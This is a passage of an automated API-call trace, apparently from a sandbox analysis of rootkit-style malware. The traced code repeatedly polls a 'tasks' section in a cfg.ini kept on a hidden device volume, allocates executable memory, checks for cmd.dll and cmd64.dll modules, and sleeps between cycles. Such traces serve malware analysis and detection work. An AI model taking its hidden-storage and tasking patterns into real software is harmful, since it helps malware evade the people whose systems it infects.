[0118.307] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.307] KeLeaveCriticalRegion () [0118.307] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.307] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.307] KeEnterCriticalRegion () [0118.307] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.307] ExFreePoolWithTag (P=0xfffffa80039d1810, Tag=0x0) [0118.307] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.307] KeLeaveCriticalRegion () [0118.307] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.307] ReleaseMutex (hMutex=0xf0) returned 1 [0118.307] Sleep (dwMilliseconds=0x927c0) [0118.327] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.327] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.327] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.327] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.328] KeEnterCriticalRegion () [0118.328] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.328] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.328] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.328] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.328] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.328] IdePortDispatch () returned 0x103 [0118.328] KeWaitForMutexObject () returned 0x0 [0118.328] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.328] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.328] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.328] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.328] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.328] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d09b0 [0118.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.328] KeLeaveCriticalRegion () [0118.328] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.328] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.328] KeEnterCriticalRegion () [0118.328] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.328] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.328] KeLeaveCriticalRegion () [0118.328] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.328] KeEnterCriticalRegion () [0118.328] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.328] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.328] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.328] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.328] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.328] IdePortDispatch () returned 0x103 [0118.329] KeWaitForMutexObject () returned 0x0 [0118.329] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.329] KeLeaveCriticalRegion () [0118.329] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.329] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.329] KeEnterCriticalRegion () [0118.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.329] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb6000 [0118.329] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.329] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.329] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.329] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.329] IdePortDispatch () returned 0x103 [0118.329] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.329] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.329] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.329] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.329] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.329] IdePortDispatch () returned 0x103 [0118.329] KeWaitForMutexObject () returned 0x0 [0118.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.329] KeLeaveCriticalRegion () [0118.329] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.330] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.330] KeEnterCriticalRegion () [0118.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.330] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.330] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.330] KeLeaveCriticalRegion () [0118.330] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.330] KeEnterCriticalRegion () [0118.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.330] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.330] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003baa750, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.330] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.330] KeLeaveCriticalRegion () [0118.330] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.330] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.330] KeEnterCriticalRegion () [0118.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.330] ExFreePoolWithTag (P=0xfffffa80039d09b0, Tag=0x0) [0118.330] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.330] KeLeaveCriticalRegion () [0118.330] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.330] ReleaseMutex (hMutex=0xf0) returned 1 [0118.330] Sleep (dwMilliseconds=0x927c0) [0118.346] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.346] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.346] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.346] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.346] KeEnterCriticalRegion () [0118.346] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.346] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.346] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.346] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.346] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.346] IdePortDispatch () returned 0x103 [0118.346] KeWaitForMutexObject () returned 0x0 [0118.346] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.346] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.346] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.346] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.346] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.346] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d09b0 [0118.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.347] KeLeaveCriticalRegion () [0118.347] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.347] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.347] KeEnterCriticalRegion () [0118.347] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.347] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.347] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.347] KeLeaveCriticalRegion () [0118.347] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.347] KeEnterCriticalRegion () [0118.347] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.347] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.347] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.347] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.347] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.347] IdePortDispatch () returned 0x103 [0118.347] KeWaitForMutexObject () returned 0x0 [0118.347] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.347] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.347] KeLeaveCriticalRegion () [0118.347] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.347] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.347] KeEnterCriticalRegion () [0118.347] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.347] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbf000 [0118.347] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.347] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.347] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.347] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.347] IdePortDispatch () returned 0x103 [0118.348] KeWaitForMutexObject () returned 0x0 [0118.348] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.348] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.348] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.348] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.348] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.348] IdePortDispatch () returned 0x103 [0118.348] KeWaitForMutexObject () returned 0x0 [0118.348] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.348] KeLeaveCriticalRegion () [0118.348] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.348] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.348] KeEnterCriticalRegion () [0118.348] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.349] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.349] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.349] KeLeaveCriticalRegion () [0118.349] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.349] KeEnterCriticalRegion () [0118.349] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.349] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.349] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003adb990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.349] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.349] KeLeaveCriticalRegion () [0118.349] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.349] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.349] KeEnterCriticalRegion () [0118.349] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.349] ExFreePoolWithTag (P=0xfffffa80039d09b0, Tag=0x0) [0118.349] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.349] KeLeaveCriticalRegion () [0118.349] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.349] ReleaseMutex (hMutex=0xf0) returned 1 [0118.349] Sleep (dwMilliseconds=0x927c0) [0118.366] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.366] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.366] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.366] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.366] KeEnterCriticalRegion () [0118.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.366] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.366] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.366] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.366] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.366] IdePortDispatch () returned 0x103 [0118.366] KeWaitForMutexObject () returned 0x0 [0118.366] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.366] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.366] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.366] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.366] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.366] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800385cf10 [0118.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.366] KeLeaveCriticalRegion () [0118.366] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.366] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.366] KeEnterCriticalRegion () [0118.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.366] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.366] KeLeaveCriticalRegion () [0118.366] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.366] KeEnterCriticalRegion () [0118.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.366] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.366] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.366] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.366] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.366] IdePortDispatch () returned 0x103 [0118.367] KeWaitForMutexObject () returned 0x0 [0118.367] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.367] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.367] KeLeaveCriticalRegion () [0118.367] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.367] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.367] KeEnterCriticalRegion () [0118.367] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.367] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc4000 [0118.367] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.367] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.367] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.367] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.367] IdePortDispatch () returned 0x103 [0118.368] KeWaitForMutexObject () returned 0x0 [0118.368] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.368] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.368] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.368] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.368] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.368] IdePortDispatch () returned 0x103 [0118.369] KeWaitForMutexObject () returned 0x0 [0118.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.369] KeLeaveCriticalRegion () [0118.369] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.369] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.369] KeEnterCriticalRegion () [0118.369] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.369] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.369] KeLeaveCriticalRegion () [0118.369] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.369] KeEnterCriticalRegion () [0118.369] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.369] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.369] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aae5e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.369] KeLeaveCriticalRegion () [0118.369] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.369] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.369] KeEnterCriticalRegion () [0118.369] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.369] ExFreePoolWithTag (P=0xfffffa800385cf10, Tag=0x0) [0118.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.369] KeLeaveCriticalRegion () [0118.369] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.369] ReleaseMutex (hMutex=0xf0) returned 1 [0118.370] Sleep (dwMilliseconds=0x927c0) [0118.383] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.383] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.383] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.383] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.383] KeEnterCriticalRegion () [0118.383] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.383] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.383] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.383] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.383] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.383] IdePortDispatch () returned 0x103 [0118.383] KeWaitForMutexObject () returned 0x0 [0118.384] _strnicmp 